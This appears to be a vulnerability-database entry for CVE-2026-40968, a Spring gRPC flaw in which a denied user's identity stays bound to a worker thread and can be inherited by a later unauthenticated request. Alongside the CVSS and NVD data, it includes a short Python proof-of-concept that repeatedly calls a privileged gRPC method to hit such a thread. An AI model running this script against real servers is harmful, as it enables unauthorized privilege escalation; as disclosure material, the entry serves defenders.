Security Vulnerability Report
中文
CVE-2026-40968 CVSS 4.2 MEDIUM

CVE-2026-40968

Published: 2026-04-28 15:16:30
Last Modified: 2026-04-30 13:32:58

Description

When an authenticated user is denied access to a gRPC method, their authenticated identity remains bound to the gRPC worker thread and can be inherited by a subsequent unauthenticated request on the same thread. This may allow the subsequent user to gain escalated permissions. Affected versions: Spring gRPC: 1.0.0 - 1.0.2 (fixed in 1.0.3). Older, unsupported versions are also affected.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_grpc:*:*:*:*:*:*:*:* - VULNERABLE
Spring gRPC 1.0.0 至 1.0.2
旧版本(不受支持)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import grpc import time from generated_code import my_service_pb2, my_service_pb2_grpc # Target server address TARGET = "localhost:9090" def exploit_attempt(): # Create an insecure channel (simulating unauthenticated request) with grpc.insecure_channel(TARGET) as channel: stub = my_service_pb2_grpc.MyServiceStub(channel) # Loop to increase chance of hitting a 'dirty' thread for i in range(1000): try: # Call a privileged method # Normally this should fail with UNAUTHENTICATED or PERMISSION_DENIED response = stub.PrivilegedMethod(my_service_pb2.Request(data="test")) # If we get here, we likely inherited permissions print(f"[+] Success on attempt {i}: {response}") break except grpc.RpcError as e: # Expected behavior for unauthenticated users if e.code() == grpc.StatusCode.PERMISSION_DENIED: continue else: print(f"Error: {e.code()}") if __name__ == "__main__": exploit_attempt()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40968", "sourceIdentifier": "[email protected]", "published": "2026-04-28T15:16:30.400", "lastModified": "2026-04-30T13:32:58.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When an authenticated user is denied access to a gRPC method, their authenticated identity remains bound to the gRPC worker thread and can be inherited by a subsequent unauthenticated request on the same thread. This may allow the subsequent user to gain escalated permissions.\n\nAffected versions:\nSpring gRPC: 1.0.0 - 1.0.2 (fixed in 1.0.3). Older, unsupported versions are also affected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-653"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_grpc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.0.3", "matchCriteriaId": "4B816748-EE94-4935-A81F-E9542FB2E3D2"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-40968", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}